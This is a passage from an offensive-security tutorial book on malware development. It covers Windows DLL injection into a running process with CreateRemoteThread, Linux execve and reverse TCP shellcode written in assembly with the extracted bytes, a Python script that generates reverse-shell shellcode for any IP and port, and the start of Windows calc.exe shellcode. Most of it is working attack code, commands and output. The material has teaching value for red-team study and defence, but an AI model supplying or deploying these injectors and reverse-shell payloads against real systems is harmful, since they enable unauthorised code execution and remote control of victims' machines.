CloseHandle(hSnapshot);
return pid;
}

int main(int argc, char* argv[]) {


int pid = 0; // process ID
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer

// handle to kernel32 and pass it to GetProcAddress


HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

// get process ID by name


pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);
}

// open process
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL,
evilLen,
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

37
// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

// our process start new thread


rt = CreateRemoteThread(ph,
NULL,
0, (LPTHREAD_START_ROUTINE)lb,
rb, 0, NULL);
CloseHandle(ph);
return 0;
}

compile our hack2.cpp:


x86_64-w64-mingw32-gcc -O2 hack2.cpp -o hack2.exe
-mconsole -I/usr/share/mingw-w64/include/ -s
-ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions -fmerge-all-constants -static-libstdc++
-static-libgcc -fpermissive >/dev/null 2>&1

“Evil” DLL is the same:


/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/09/20/malware-injection-2.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=ˆ..ˆ=",

38
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

compile and put it in a directory of our choice:


x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive

run:
.\hack2.exe mspaint.exe

As you can see, everything is good: We launch mspaint.exe and our simple
injector find PID (1)
Our DLL with simple pop-up (Meow) is work! (2)
To verify our DLL is indeed injected into mspaint.exe process we can use
Process Hacker, in memory section we can see:

39
It seems our simple injection logic worked!
In this case, I didn’t check if SeDebugPrivilege is “enabled” in my own process.
And how can I get this privileges??? I have to study this with all the caveats in
the future.
CreateToolhelp32Snapshot
Process32First
Process32Next
strcmp
Taking a Snapchot and Viewing Processes
CloseHandle
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
GetProcAddress
LoadLibraryA
Source code on Github

8. linux shellcoding. Examples

40
shellcode
Writing shellcode is an excellent way to learn more about assembly language
and how a program communicates with the underlying OS.
Why are we red teamers and penetration testers writing shellcode? Because in
real cases shellcode can be a code that is injected into a running program to
make it do something it was not made to do, for example buffer overflow attacks.
So shellcode is generally can be used as the “payload” of an exploit.
Why the name “shellcode”? Historically, shellcode is machine code that when
executed spawns a shell.

testing shellcode
When testing shellcode, it is nice to just plop it into a program and let it run.
The C program below will be used to test all of our code (run.c):
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "my shellcode here";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}

Knowledge of C and Assembly is highly recommend. Also knowing how the


stack works is a big plus. You can ofcourse try to learn what they mean from
this tutorial, but it’s better to take your time to learn about these from a more
in depth source.

disable ASLR
Address Space Layout Randomization (ASLR) is a security features used in
most operating system today. ASLR randomly arranges the address spaces of
processes, including stack, heap, and libraries. It provides a mechanism for
making the exploitation hard to success. You can configure ASLR in Linux using
the /proc/sys/kernel/randomize_va_space interface.
The following values are supported: * 0 - no randomization
* 1 - conservative randomization
* 2 - full randomization

41
To disable ASLR, run:
echo 0 > /proc/sys/kernel/randomize_va_space

enable ASLR, run:


echo 2 > /proc/sys/kernel/randomize_va_space

some assembly
Firstly, let’s repeat some more introductory information, please be patient.
The x86 Intel Register Set.
EAX, EBX, ECX, and EDX are all 32-bit General Purpose
Registers.
AH, BH, CH and DH access the upper 16-bits of the
General Purpose Registers.
AL, BL, CL, and DL access the lower 8-bits of the
General Purpose Registers.
EAX, AX, AH and AL are called the "Accumulator"
registers and can be used for I/O port access,
arithmetic, interrupt calls etc. We can use these
registers to implement system calls.
EBX, BX, BH, and BL are the "Base" registers and are
used as base pointers for memory access. We will use
this register to store pointers in for arguments of
system calls. This register is also sometimes used to
store return value from an interrupt in.
ECX, CX, CH, and CL are also known as the "Counter"
registers.
EDX, DX, DH, and DL are called the "Data" registers
and can be used for I/O port access, arithmetic and
some interrupt calls.
Assembly instructions. There are some instructions that are important in
assembly programming:
mov eax, 32 ; assign: eax = 32
xor eax, eax ; exclusive OR
push eax ; push something onto the stack
pop ebx ; pop something from the stack
; (what was on the stack in a register/variable)
call mysuperfunc ; call a function
int 0x80 ; interrupt, kernel command

Linux system calls. System calls are APIs for the interface between the user
space and the kernel space. You can make use of Linux system calls in your
assembly programs. You need to take the following steps for using Linux system

42
calls in your program:
Put the system call number in the EAX register.
Store the arguments to the system call in the
registers EBX, ECX, etc.
Call the relevant interrupt (80h).
The result is usually returned in the EAX register.
All the x86 syscalls are listed in /usr/include/asm/unistd_32.h.
Example of how libc wraps syscalls:
/*
exit0.c - for demonstrating
how libc wraps syscalls
*/
#include <stdlib.h>

void main() {
exit(0);
}

Let’s go to compile and disassembly:


gcc -masm=intel -static -m32 -o exit0 exit0.c
gdb -q ./exit0

0xfc = exit_group() and 0x1 = exit()

nullbytes
First of all, I want to draw your attention to nullbytes.
Let’s go to investigate simple program:
/*
meow.c - demonstrate nullbytes
*/

43
#include <stdio.h>
int main(void) {
printf ("=ˆ..ˆ= meow \x00 meow");
return 0;
}

compile and run:


gcc -m32 -w -o meow meow.c
./meow

As you can see, a nullbyte \x00 terminated the chain of instructions.


The exploits usually attack C code, and therefore the shell code often needs to be
delivered in a NUL-terminated string. If the shell code contains NUL bytes the
C code that is being exploited might ignore and drop rest of the code starting
from the first zero byte.
This concerns only the machine code. If you need to call the system call with
number 0xb, then naturally you need to be able to produce the number 0xb in
the EAX register, but you can only use those forms of machine code that do not
contain zero bytes in the machine code itself.
Let’s go to compile and run two equivalent code.
First exit1.asm:
; just normal exit
; author @cocomelonc
; nasm -f elf32 -o exit1.o exit1.asm
; ld -m elf_i386 -o exit1 exit1.o && ./exit1
; 32-bit linux

section .data

section .bss

section .text

44
global _start ; must be declared for linker

; normal exit
_start: ; linker entry point
mov eax, 0 ; zero out eax
mov eax, 1 ; sys_exit system call
int 0x80 ; call sys_exit

compile and investigate exit1.asm:


nasm -f elf32 -o exit1.o exit1.asm
ld -m elf_i386 -o exit1 exit1.o
./exit1
objdump -M intel -d exit1

as you can see we have a zero bytes in the machine code.


Second exit2.asm:
; just normal exit
; author @cocomelonc
; nasm -f elf32 -o exit2.o exit2.asm
; ld -m elf_i386 -o exit2 exit2.o && ./exit2
; 32-bit linux

section .data

section .bss

section .text

45
global _start ; must be declared for linker

; normal exit
_start: ; linker entry point
xor eax, eax ; zero out eax
mov al, 1 ; sys_exit system call (mov eax, 1)
; with remove null bytes
int 0x80 ; call sys_exit

compile and investigate exit2.asm:


nasm -f elf32 -o exit2.o exit2.asm
ld -m elf_i386 -o exit2 exit2.o
./exit2
objdump -M intel -d exit2

As you can see, there are no embedded zero bytes in it.


As I wrote earlier, the EAX register has AX, AH, and AL. AX is used to access
the lower 16 bits of EAX. AL is used to access the lower 8 bits of EAX and AH is
used to access the higher 8 bits. So why is this important for writing shellcode?
Remember back to why null bytes are a bad thing. Using the smaller portions of
a register allow us to use mov al, 0x1 and not produce a null byte. If we would
have done mov eax, 0x1 it would have produced null bytes in our shellcode.
Both these programs are functionally equivalent.

46
example1. normal exit
Let’s begin with simplest example. Let’s use our exit.asm code as the first
example for shellcoding (example1.asm):
; just normal exit
; author @cocomelonc
; nasm -f elf32 -o example1.o example1.asm
; ld -m elf_i386 -o example1 example1.o && ./example1
; 32-bit linux

section .data

section .bss

section .text
global _start ; must be declared for linker

; normal exit
_start: ; linker entry point
xor eax, eax ; zero out eax
mov al, 1 ; sys_exit system call (mov eax, 1)
; with remove null bytes
int 0x80 ; call sys_exit

Notice the al and XOR trick to ensure that no NULL bytes will get into our code.
Extract byte code:
nasm -f elf32 -o example1.o example1.asm
ld -m elf_i386 -o example1 example1.o
objdump -M intel -d example1

47
Here is how it looks like in hexadecimal.
So, the bytes we need are 31 c0 b0 01 cd 80. Replace the code at the top
(run.c) with:
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "\x31\xc0\xb0\x01\xcd\x80";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}

Now, compile and run:


gcc -z execstack -m32 -o run run.c
./run
echo $?

48
-z execstack Turn off the NX protection to make the stack exe-
cutable
Our program returned 0 instead of 1, so our shellcode worked.

example2. spawning a linux shell.


Let’s go to writing a simple shellcode that spawns a shell (example2.asm):
; example2.asm - spawn a linux shell.
; author @cocomelonc
; nasm -f elf32 -o example2.o example2.asm
; ld -m elf_i386 -o example2 example2.o && ./example2
; 32-bit linux

section .data
msg: db '/bin/sh'

section .bss

section .text
global _start ; must be declared for linker

_start: ; linker entry point

; xoring anything with itself clears itself:


xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
xor ecx, ecx ; zero out ecx
xor edx, edx ; zero out edx

mov al, 0xb ; mov eax, 11: execve


mov ebx, msg ; load the string pointer to ebx
int 0x80 ; syscall

; normal exit
mov al, 1 ; sys_exit system call
; (mov eax, 1) with remove
; null bytes
xor ebx, ebx ; no errors (mov ebx, 0)
int 0x80 ; call sys_exit

49
To compile it use the following commands:
nasm -f elf32 -o example2.o example2.asm
ld -m elf_i386 -o example2 example2.o
./example2

As you can see our program spawn a shell, via execve:

Note: system("/bin/sh") would have been a lot simpler right? Well the only
problem with that approach is the fact that system always drops privileges.
So, execve takes 3 arguments: * The program to execute - EBX * The arguments
or argv(null) - ECX * The environment or envp(null) - EDX
This time, we’ll directly write the code without any null bytes, using the stack
to store variables (example3.asm):

50
; run /bin/sh and normal exit
; author @cocomelonc
; nasm -f elf32 -o example3.o example3.asm
; ld -m elf_i386 -o example3 example3.o && ./example3
; 32-bit linux

section .bss

section .text
global _start ; must be declared for linker

_start: ; linker entry point

; xoring anything with itself clears itself:


xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
xor ecx, ecx ; zero out ecx
xor edx, edx ; zero out edx

push eax ; string terminator


push 0x68732f6e ; "hs/n"
push 0x69622f2f ; "ib//"
mov ebx, esp ; "//bin/sh",0 pointer is ESP
mov al, 0xb ; mov eax, 11: execve
int 0x80 ; syscall

Now, let’s assemble it and check if it properly works and does not contain any
null bytes:
nasm -f elf32 -o example3.o example3.asm
ld -m elf_i386 -o example3 example3.o
./example3
objdump -M intel -d example3

51
Then, extract byte code via some bash hacking and objdump:
objdump -d ./example3|grep '[0-9a-f]:'|grep -v 'file'|cut \
-f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '| \
sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s | \
sed 's/ˆ/"/'|sed 's/$/"/g'

So, our shellcode is:


"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e
\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
\xe3\xb0\x0b\xcd\x80"

Then, replace the code at the top (run.c) with:


/*
run.c - a small skeleton program to run shellcode
*/

52
// bytecode here
char code[] = "\x31\xc0\x31\xdb\x31\xc9\x31"
"\xd2\x50\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}

Compile and run:


gcc -z execstack -m32 -o run run.c
./run

As you can see, everything work perfectly. Now, you can use this shellcode and
inject it into a process.
In the next part, I’ll go to create a reverse TCP shellcode.
The Shellcoder’s Handbook
Shellcoding in Linux by exploit-db
my intro to x86 assembly
my nasm tutorial
execve
Source code in Github

53
9. linux shellcoding. Reverse TCP shellcode

In the previous section about shellcoding, we spawned a regular shell. In this


section my goal will be to write reverse TCP shellcode.

testing shellcode
When testing shellcode, it is nice to just plop it into a program and let it run.
We will use the same code as in the first post (run.c):
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "my shellcode here";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}

reverse TCP shell


We will take the C code that starts the reverse TCP shell from one of my previous
posts.
So our base (shell.c):
/*
shell.c - reverse TCP shell
author: @cocomelonc
demo shell for linux shellcoding example
*/

54
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

int main () {

// attacker IP address
const char* ip = "127.0.0.1";

// address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
inet_aton(ip, &addr.sin_addr);

// socket syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);

// connect syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));

for (int i = 0; i < 3; i++) {


// dup2(sockftd, 0) - stdin
// dup2(sockfd, 1) - stdout
// dup2(sockfd, 2) - stderr
dup2(sockfd, i);
}

// execve syscall
execve("/bin/sh", NULL, NULL);

return 0;
}

assembly preparation
As shown in the C source code, you need to translate the following calls into
Assembly language:
- create a socket.
- connect to a specified IP and port.
- then redirect stdin, stdout, stderr via dup2.
- launch the shell with execve.

55
create socket
You need syscall 0x66 (SYS_SOCKETCALL) to basically work with sockets:

Then cleanup eax register:


; int socketcall(int call, unsigned long *args);
push 0x66 ; sys_socketcall 102
pop eax ; zero out eax

The next important part - the different functions calls of the socketcall syscall
can be found in /usr/include/linux/net.h:

So you need to start with SYS_SOCKET (0x1) then cleanup ebx:


push 0x1 ; sys_socket 0x1
pop ebx ; zero out ebx

The socket() call basically takes 3 arguments and returns a socket file descriptor:
sockfd = socket(int socket_family, int socket_type, int protocol);

So you need to check different header files to find the definitions for the arguments.

56
For protocol:
nvim /usr/include/linux/in.h

For socket_type:
nvim /usr/include/bits/socket_type.h

For socket_family:

57
nvim /usr/include/bits/socket.h

Based on this info, you can push the different arguments (socket_family,
socket_type, protocol) onto the stack after cleaning up the edx register:
xor edx, edx ; zero out edx

; int socket(int domain, int type, int protocol);


push edx ; protocol = IPPROTO_IP (0x0)
push ebx ; socket_type = SOCK_STREAM (0x1)
push 0x2 ; socket_family = AF_INET (0x2)

And since ecx needs to hold a pointer to this structure, a copy of the esp is
required:
mov ecx, esp ; move stack pointer to ecx

finally execute syscall:


int 0x80 ; syscall (exec sys_socket)

which returns a socket file descriptor to eax.


In the end:
xchg edx, eax ; save result (sockfd) for later usage

58
connect to a specified IP and port
First you need the standard socketcall-syscall in al again:
; int socketcall(int call, unsigned long *args);
mov al, 0x66 ; socketcall 102

Let’s go to look at the connect() arguments, and the most interesting argument
is the sockaddr struct:
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
};

So you need to place arguments at this point. Firstly, sin_addr, then sin_port
and the last one is sin_family (remember: reverse order!):
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
push 0x0101017f ; sin_addr = 127.1.1.1 (network byte order)
push word 0x5c11 ; sin_port = 4444

ebx contains 0x1 at this point because of pressing socket_type during the
socket () call, so after increasing ebx, ebx should be 0x2 (the sin_family
argument):
inc ebx ; ebx = 0x02
push word bx ; sin_family = AF_INET

Then save the stack pointer to this sockaddr struct to ecx:


mov ecx, esp ; move stack pointer to sockaddr struct

Then:
push 0x10 ; addrlen = 16
push ecx ; const struct sockaddr *addr
push edx ; sockfd
mov ecx, esp ; move stack pointer to ecx (sockaddr_in struct)
inc ebx ; sys_connect (0x3)
int 0x80 ; syscall (exec sys_connect)

59
redirect stdin, stdout and stderr via dup2
Now we set start-counter and reset ecx for loop:
push 0x2 ; set counter to 2
pop ecx ; zero to ecx (reset for newfd loop)

ecx is now ready for the loop, just saving the socket file descriptor to ebx as
you need it there during the dup2-syscall:
xchg ebx, edx ; save sockfd

Then, dup2 takes 2 arguments:


int dup2(int oldfd, int newfd);

Where oldfd (ebx) is the client socket file descriptor and newfd is used with
stdin(0), stdout(1) and stderr(2):
for (int i = 0; i < 3; i++) {
// dup2(sockftd, 0) - stdin
// dup2(sockfd, 1) - stdout
// dup2(sockfd, 2) - stderr
dup2(sockfd, i);
}

So, the sys_dup2 syscall is executed three times in an ecx-based loop:


dup:
mov al, 0x3f ; sys_dup2 = 63 = 0x3f
int 0x80 ; syscall (exec sys_dup2)
dec ecx ; decrement counter
jns dup ; as long as SF is not set -> jmp to dup

jns basically jumps to “dup” as long as the signed flag (SF) is not set.
Let’s go to debug with gdb and check ecx value:
gdb -q ./rev

60
As you can see, after third dec ecx it contains 0xffffffff which is equal -1
and the SF got set and the shellcode flow continues.
In result, all three output are redirected :)

launch the shell with execve


This part of code are similar to the example from the first part, but again with
a small change:
; spawn /bin/sh using execve
; int execve(const char *filename,
; char *const argv[],char *const envp[]);
mov al, 0x0b ; syscall: sys_execve = 11 (mov eax, 11)
inc ecx ; argv=0
mov edx, ecx ; envp=0
push edx ; terminating NULL
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; save pointer to filename
int 0x80 ; syscall: exec sys_execve

As you can see, we need to push the terminating NULL for the /bin//sh string
seperately onto the stack, because there isn’t already one to use.
So we are done.

final complete shellcode


My complete, commented shellcode:

61
; run reverse TCP /bin/sh and normal exit
; author @cocomelonc
; nasm -f elf32 -o rev.o rev.asm
; ld -m elf_i386 -o rev rev.o && ./rev
; 32-bit linux

section .bss

section .text
global _start ; must be declared for linker

_start: ; linker entry point

; create socket
; int socketcall(int call, unsigned long *args);
push 0x66 ; sys_socketcall 102
pop eax ; zero out eax
push 0x1 ; sys_socket 0x1
pop ebx ; zero out ebx
xor edx, edx ; zero out edx

; int socket(int domain, int type, int protocol);


push edx ; protocol = IPPROTO_IP (0x0)
push ebx ; socket_type = SOCK_STREAM (0x1)
push 0x2 ; socket_family = AF_INET (0x2)
mov ecx, esp ; move stack pointer to ecx
int 0x80 ; syscall (exec sys_socket)
xchg edx, eax ; save result (sockfd) for later usage

; int socketcall(int call, unsigned long *args);


mov al, 0x66 ; socketcall 102

; int connect(int sockfd, const struct sockaddr *addr,


; socklen_t addrlen);
push 0x0101017f ; sin_addr = 127.1.1.1
; (network byte order)
push word 0x5c11 ; sin_port = 4444
inc ebx ; ebx = 0x02
push word bx ; sin_family = AF_INET
mov ecx, esp ; move stack pointer to sockaddr struct

push 0x10 ; addrlen = 16


push ecx ; const struct sockaddr *addr
push edx ; sockfd
mov ecx, esp ; move stack pointer to ecx (sockaddr_in struct)

62
inc ebx ; sys_connect (0x3)
int 0x80 ; syscall (exec sys_connect)

; int socketcall(int call, unsigned long *args);


; duplicate the file descriptor for
; the socket into stdin, stdout, and stderr
; dup2(sockfd, i); i = 1, 2, 3
push 0x2 ; set counter to 2
pop ecx ; zero to ecx (reset for newfd loop)
xchg ebx, edx ; save sockfd

dup:
mov al, 0x3f ; sys_dup2 = 63 = 0x3f
int 0x80 ; syscall (exec sys_dup2)
dec ecx ; decrement counter
jns dup ; as long as SF is not set -> jmp to dup

; spawn /bin/sh using execve


; int execve(const char *filename, char
; *const argv[],char *const envp[]);
mov al, 0x0b ; syscall: sys_execve = 11 (mov eax, 11)
inc ecx ; argv=0
mov edx, ecx ; envp=0
push edx ; terminating NULL
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; save pointer to filename
int 0x80 ; syscall: exec sys_execve

testing
Now, as in the first part, let’s assemble it and check if it properly works and
does not contain any null bytes:
nasm -f elf32 -o rev.o rev.asm
ld -m elf_i386 -o rev rev.o
objdump -M intel -d rev

63
Prepare listener on 4444 port and run:
./rev

Perfect!
Then, extract byte code via some bash hacking and objdump:
objdump -d ./rev|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|
sed 's/ /\\x/g'|paste -d '' -s |sed 's/ˆ/"/'|sed 's/$/"/g'

64
So, our shellcode is:
"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1
\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c
\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80
\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b
\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\xcd\x80"

Then, replace the code at the top (run.c) with:


/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] =
"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68"
"\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1"
"\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49"
"\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}

Compile, prepare listener and run:


gcc -z execstack -m32 -o run run.c
./run

65
As you can see, everything work perfectly. Now, you can use this shellcode and
inject it into a process.
But there is one caveat. Let’s go to make the ip and port easily configurable.

configurable IP and port


To solve this problem I created a simple python script (super_shellcode.py):
import socket
import argparse
import sys

BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'

def my_super_shellcode(host, port):


print (BLUE)
print ("let's go to create your super shellcode...")
print (ENDC)
if int(port) < 1 and int(port) > 65535:
print (RED + "port number must be in 1-65535" + ENDC)
sys.exit()
if int(port) >= 1 and int(port) < 1024:
print (YELLOW + "you must be a root" + ENDC)
if len(host.split(".")) != 4:
print (RED + "invalid host address :(" + ENDC)
sys.exit()

h = socket.inet_aton(host).hex()
hl = [h[i:i+2] for i in range(0, len(h), 2)]
if "00" in hl:
print (YELLOW)

66
print ("host address will cause null bytes \
to be in shellcode :(")
print (ENDC)
h1, h2, h3, h4 = hl

shellcode_host = "\\x" + h1 + "\\x" + h2


shellcode_host += "\\x" + h3 + "\\x" + h4
print (YELLOW)
print ("hex host address:")
print (" x" + h1 + "x" + h2 + "x" + h3 + "x" + h4)
print (ENDC)

p = socket.inet_aton(port).hex()[4:]
pl = [p[i:i+2] for i in range(0, len(p), 2)]
if "00" in pl:
print (YELLOW)
print ("port will cause null bytes \
to be in shellcode :(")
print (ENDC)
p1, p2 = pl

shellcode_port = "\\x" + p1 + "\\x" + p2


print (YELLOW)
print ("hex port: x" + p1 + "x" + p2)
print (ENDC)

shellcode = "\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31"
shellcode += "\\xd2\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd"
shellcode += "\\x80\\x92\\xb0\\x66\\x68"
shellcode += shellcode_host
shellcode += "\\x66\\x68"
shellcode += shellcode_port
shellcode += "\\x43\\x66\\x53\\x89\\xe1\\x6a\\x10"
shellcode += "\\x51\\x52\\x89\\xe1\\x43\\xcd"
shellcode += "\\x80\\x6a\\x02\\x59\\x87\\xda\\xb0"
shellcode += "\\x3f\\xcd\\x80\\x49\\x79\\xf9"
shellcode += "\\xb0\\x0b\\x41\\x89\\xca\\x52\\x68"
shellcode += "\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69"
shellcode += "\\x6e\\x89\\xe3\\xcd\\x80"

print (GREEN + "your super shellcode is:" + ENDC)


print (GREEN + shellcode + ENDC)

if __name__ == "__main__":
parser = argparse.ArgumentParser()

67
parser.add_argument('-l','--lhost',
required = True, help = "local IP",
default = "127.1.1.1", type = str)
parser.add_argument('-p','--lport',
required = True, help = "local port",
default = "4444", type = str)
args = vars(parser.parse_args())
host, port = args['lhost'], args['lport']
my_super_shellcode(host, port)

Prepare listener, run script, copy shellcode to our test program, compile and
run:
python3 super_shellcode.py -l 10.9.1.6 -p 4444
gcc -static -fno-stack-protector -z execstack -m32 -o run run.c

So our shellcode is perfectly worked :)


This is how you create your own shellcode, for example.
The Shellcoder’s Handbook
Shellcoding in Linux by exploit-db
my intro to x86 assembly
my nasm tutorial
ip
socket
connect
execve
first part
Source code in Github

68
10. windows shellcoding - part 1. Simple example

In the previous sections about shellcoding, we worked with linux examples. In


this section my goal will be to write shellcode for windows machine.

testing shellcode
When testing shellcode, it is nice to just plop it into a program and let it run.
We will use the same code as in the first post (run.c):
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "my shellcode here";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}

first example. run calc.exe


First, we will write something like a prototype of the shellcode in C. For simplicity,
let’s write the following source code (exit.c):
/*
exit.c - run calc.exe and exit
*/
#include <windows.h>

69
int main(void) {
WinExec("calc.exe", 0);
ExitProcess(0);
}

As you can see, the logic of this program is simple: launch the calculator
(calc.exe) and exit. Let’s make sure our code actually works. Compile:
i686-w64-mingw32-gcc -o exit.exe exit.c -mconsole -lkernel32

Then run in windows machine (Windows 7 x86 SP1):


.\exit.exe

So everything is worked perfectly.


Let’s now try to write this logic in assembly language. The Windows kernel is
completely different from the Linux kernel. At the very beginning of our program,
we have #include <windows.h>, which in turn means that the windows library
will be included in the code and this will dynamically link dependencies by default.
However, we cannot do the same with ASM. In the case of ASM, we need to find

70
the location of the WinExec function, load the arguments onto the stack, and
call the register that has a pointer to the function. Likewise for the ExitProcess
function. It is important to know that most windows functions are available
from three main libraries: ntdll.dll, Kernel32.DLL and KernelBase.dll. If
you run our example in a debugger (x32dbg in my case), you can make sure of
this:

finding function’s addresses


So, we need to know the WinExec address in memory. We’ll find it!
/*
getaddr.c - get addresses of functions
(ExitProcess, WinExec) in memory
*/
#include <windows.h>
#include <stdio.h>

int main() {
unsigned long Kernel32Addr; // kernel32.dll address
unsigned long ExitProcessAddr; // ExitProcess address
unsigned long WinExecAddr; // WinExec address

Kernel32Addr = GetModuleHandle("kernel32.dll");
printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr);

ExitProcessAddr = GetProcAddress(Kernel32Addr, "ExitProcess");


printf("ExitProcess address in memory is: 0x%08p\n", ExitProcessAddr);

WinExecAddr = GetProcAddress(Kernel32Addr, "WinExec");

71
printf("WinExec address in memory is: 0x%08p\n", WinExecAddr);

getchar();
return 0;
}

This program will tell you the kernel address and the WinExec address in
kernel32.dll. Let’s compile it:
i686-w64-mingw32-gcc -O2 getaddr.c -o getaddr.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wall \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc >/dev/null 2>&1

and run in our target machine:


.\getaddr.exe

Now we know the addresses of our functions. Note that our program found the
kernel32 address correctly.

assembly time
The WinExec() function within kernel32.dll can be used to launch any pro-
gram that the user running the process can access:

72
UINT WinExec(LPCSTR lpCmdLine, UINT uCmdShow);

In our case, lpCmdLine is equal to calc.exe, uCmdShow is equal to 1 (SW_NORMAL).


Firstly convert calc.exe to hex via python script (conv.py):
# convert string to reversed hex
import sys

input = sys.argv[1]
chunks = [input[i:i+4] for i in range(0, len(input), 4)]
for chunk in chunks[::-1]:
print (chunk[::-1].encode("utf-8").hex())

Then, create our assembly code:


xor ecx, ecx ; zero out ecx
push ecx ; string terminator 0x00 for
; "calc.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x636c6163 ; clac : 636c6163

mov eax, esp ; save pointer to "calc.exe"


; string in ebx

; UINT WinExec([in] LPCSTR lpCmdLine, [in] UINT uCmdShow);


inc ecx ; uCmdShow = 1
push ecx ; uCmdShow *ptr to stack in
; 2nd position - LIFO
push eax ; lpcmdLine *ptr to stack in
; 1st position
mov ebx, 0x76f0e5fd ; call WinExec() function
; addr in kernel32.dll
call ebx

To put something in Little Endian format, just put the hex of the
bytes in as reverse
So, what about ExitProcess function?
void ExitProcess(UINT uExitCode);

It’s used to gracefully close the host process after the calc.exe process is
launched using the WinExec function:

73
; void ExitProcess([in] UINT uExitCode);
xor eax, eax ; zero out eax
push eax ; push NULL
mov eax, 0x76ed214f ; call ExitProcess
; function addr in kernel32.dll
jmp eax ; execute the ExitProcess function

So, final code is:


; run calc.exe and normal exit
; author @cocomelonc
; nasm -f elf32 -o example1.o example1.asm
; ld -m elf_i386 -o example1 example1.o
; 32-bit linux (work in windows as shellcode)

section .data

section .bss

section .text
global _start ; must be declared for linker

_start:
xor ecx, ecx ; zero out ecx
